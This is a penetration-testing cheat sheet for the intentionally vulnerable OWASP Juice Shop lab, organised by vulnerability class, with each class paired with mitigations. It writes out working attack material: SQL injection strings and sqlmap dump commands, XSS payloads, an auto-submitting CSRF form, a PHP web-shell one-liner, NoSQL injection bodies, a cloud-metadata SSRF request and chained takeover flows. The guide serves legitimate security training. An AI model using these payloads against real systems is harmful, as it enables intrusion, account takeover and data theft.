⚠️ Must-read before you start

- Only test on instances you host or are explicitly allowed to test.
- Use low-noise settings first: --level=1 --risk=1 --threads=1 (sqlmap) or single requests in Burp Repeater.
- Snapshot your VM/container before heavy tests so you can revert.
- Don’t expose Juice Shop to the public internet.

Quick tools cheat (common commands)

```
# Start Juice Shop (Docker)
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop

# Burp: start and set browser proxy to 127.0.0.1:8080
# Save intercepted request to file for sqlmap:
# Burp -> right-click request -> Save item -> e.g., burp_req.txt

# sqlmap (simple)
sqlmap -u "http://127.0.0.1:3000/api/search?q=apple" --batch --level=1 --risk=1 --threads=1

# curl quick test (GET)
curl -v "http://127.0.0.1:3000/api/search?q=apple"

# Check listening port 3000:
ss -tulpen | grep 3000
```

---

1) SQL Injection (SQLi)

When: API endpoints that take parameters (search, product id, login API, feedback).

How to find:

- Intercept API calls (XHR) in browser DevTools or Burp. Look for parameters (id, q, filter).
- Send suspected request to Burp Repeater → modify param to ' or 1' OR '1'='1.

Manual quick checks:

GET /api/products/1 HTTP/1.1

try

GET /api/products/1' -> see error / different response

Typical payloads:

- Classic: ' OR '1'='1
- Tautology: admin' --
- Error probe: 1' and extractversion()-- (DB-dependent)
- Blind/time: ' OR IF(SUBSTRING((SELECT password FROM Users LIMIT 1),1,1)='a', SLEEP(3), 0) --

Automated (sqlmap):

Use Burp saved request

sqlmap -r burp_req.txt --batch --level=2 --risk=1

Direct URL example

sqlmap -u "http://127.0.0.1:3000/api/search?q=apple" --batch --dbs

Confirm success:

- --dbs returns DB list; --dump extracts data.
- Manual: application responds differently to payloads or returns DB error.

Mitigations:

- Parameterized queries / prepared statements.

- ORM use with proper binding.
- Input validation + least privilege DB user.

---

2) Cross-Site Scripting (XSS)

Types: Reflected, Stored, DOM-based (Juice Shop has many stored/reflected XSS exercises).

How to find:

- Intercept form submissions and comment fields, product reviews, search fields.
- Inject simple payloads, check output in page source or DOM.

Payloads:

- Basic: <script>alert(1)</script>
- Obfuscated (bypass naive filtering): "><img src=x onerror=alert(1)>
- DOM XSS: javascript:alert(1) in href, or payload that modifies innerHTML.

Burp flow:

1. Capture request, send to Repeater.
2. Inject payload into input; forward; view page where data is rendered (or check DOM in browser console).

Example (stored XSS via feedback):

- POST body contains comment=<script>alert('xss')</script> — submit, then reload page that lists comments.

Confirm:

- Popup in browser or DOM shows injected content.
- Burp Collaborator (for blind DOM XSS exfil) if testing out-of-band.

Mitigations:

- Context-sensitive output encoding (HTML entity encode, JS-encode, CSS-encode).
- Content Security Policy (CSP) as defense-in-depth.

- Input sanitization only as secondary control.

---

3) Cross-Site Request Forgery (CSRF)

When: state-changing endpoints without anti-CSRF tokens (account settings, password change, address add).

How to test:

- Find POST endpoint that changes state via Burp. Craft HTML form to auto-submit from another origin:

```
<form action="http://127.0.0.1:3000/api/user/address"
method="POST" id="f">
  <input name="address" value="attacker">
</form>
<script>document.getElementById('f').submit()</script>
```

- Load this HTML in an attacker-controlled server; if victim is logged in to Juice Shop in same browser, the request will be sent.

Confirm:

- State changed (check via app UI).
- No anti-CSRF token present in request.

Mitigations:

- Use per-session CSRF tokens, SameSite cookies, verify Origin/Referer headers.

---

4) Authentication / Authorization bypass (Auth bypass)

Targets: login flows, password reset, JWT or session handling.

Common checks:

- Try SQLi on login fields (' OR '1'='1).
- Test password reset flows: predictable tokens or email enumeration.
- JWT: modify alg header to none (if server accepts) or change sub value and re-sign with weak key.

Example manual login bypass:

- POST /api/login with username=admin' -- or use Burp Intruder to fuzz credentials.

Check session fixation:

- Can you set Cookie then login? Try reuse of old session cookies.

Mitigations:

- Secure password reset tokens, rate limiting, multi-factor.
- Proper JWT verification (reject alg: none), use strong keys.

---

5) Insecure Direct Object Reference (IDOR) / Broken Access Control

When: endpoints like /api/user/2/orders or /api/feedback/123.

How to test:

- Intercept request to fetch resource id; change id to another user id and send.
- Try access to /api/management/* endpoints without admin role.

Automated checks:

- Use Burp Repeater or a simple script to iterate ids:

```
for id in {1..200}; do curl -s "http://127.0.0.1:3000/api/orders/$id" -b "session=..." -o /dev/null -w "%{http_code} %{url_effective}\n"; done
```

Confirm:

- You receive data for other user's resources.

Mitigations:

- Enforce object-level authorization on server.
- Don’t use easily guessable IDs; map IDs to access control checks.

---

6) Server-Side Request Forgery (SSRF)

When: app fetches remote URLs via user input (URL preview, fetch remote image).

How to test:

- Find endpoint that takes a URL and makes server-side HTTP calls (e.g., image fetch).
- Attempt to access local services: http://127.0.0.1:22 or http://169.254.169.254/latest/meta-data/ (AWS IMDS — in cloud labs only).

Example:

curl -X POST "http://127.0.0.1:3000/api/preview" -d 'url=http://127.0.0.1:22'

Out-of-band detection:

- Use Burp Collaborator or requestbin to detect server-initiated calls.

Mitigations:

- Validate/whitelist domains, block internal IP ranges, require resolver-level checks.

---

7) File Upload / Remote Code Execution (RCE)

When: file upload endpoints accept dangerous file types or store files in web root.

How to test:

- Upload web-shell (e.g., <?php system($_GET['c']); ?>) if server executes PHP — Juice Shop uses Node so different vectors exist (upload .js or template injection).
- Check accepted file types and where they are stored. Try to access uploaded file via browser.

Example:

curl -F "file=@shell.jsp" http://127.0.0.1:3000/api/upload -b "session=..."

then try to access /uploads/shell.jsp?c=id

For Node apps, look for template engines or deserialization endpoints — may lead to RCE.

Mitigations:

- Validate file types, store outside web root, set safe permissions, scan uploaded files.

---

8) NoSQL / LDAP-like Injection (when applicable)

When: app uses MongoDB or NoSQL queries constructed from user input.

Payload examples (Mongo):

- {"$ne":null} or admin' && this.password.match(/.*/)// depending on API.

Test:

- Intercept login POST with JSON body. Try injecting:

{"username": {"$ne": null}, "password": "anything"}

or

{"username": {"$regex":"^adm"}, "password": {"$ne": ""}}

Mitigations:

- Use parameterized queries even for NoSQL, strict typing, and input validation.

---

9) DOM-based issues & Client-side logic flaws

When: user-supplied input is used in innerHTML, eval(), or URL fragments are parsed insecurely.

How to find:

- Inspect client JS, search for innerHTML, eval, document.write, location.hash usages.

Exploit:

- Manipulate fragment identifiers http://127.0.0.1:3000/#/search?q=<payload> and observe DOM.

Mitigations:

- Avoid innerHTML for untrusted data; use DOM-safe APIs and strict CSP.

---

10) Information Disclosure & Sensitive Data Exposure

Look for:

- Debug endpoints, .env files, stack traces, unnecessary verbose errors, admin panels.

Commands:

curl -I http://127.0.0.1:3000/.env

or enumerate /config /admin endpoints

Mitigations:

- Remove debug info in production, limit access to admin routes, secure config files.

---

11) Practical attack flows (examples)

A) SQLi → Dump → Use creds to login → IDOR:

1. Discover injectable /api/login → use sqlmap to dump users table.
2. Use found credentials to login.
3. While logged in, enumerate /api/orders/:id to find other users' orders (IDOR).

B) XSS stored → CSRF / admin takeover:

1. Submit stored XSS in product review field that executes when admin views reviews.
2. Payload triggers admin's browser to make admin-only request (change price, create admin user).

C) SSRF → internal service → sensitive data:

1. Identify URL fetch endpoint.
2. Use SSRF to hit metadata service (cloud labs only), exfiltrate sensitive tokens.

---

12) Reporting / safe cleanup

- Save all commands, Burp logs, screenshots.
- Use docker rm -f juice to reset container. If persistent volume used, delete data dir.
- Provide remediation suggestions (parameterize queries, validate/encode output, implement access control, whitelist URLs).

---

13) Short mitigation checklist (developer view)

- Parameterized queries / ORM safe queries.
- Contextual output encoding (XSS).
- CSRF tokens and SameSite cookies.
- Object-level authorization checks.
- Input validation + allowlist domain validation.
- Least-privilege DB user.
- File upload validation + store outside web root.
- CSP and secure headers (HSTS, X-Frame-Options).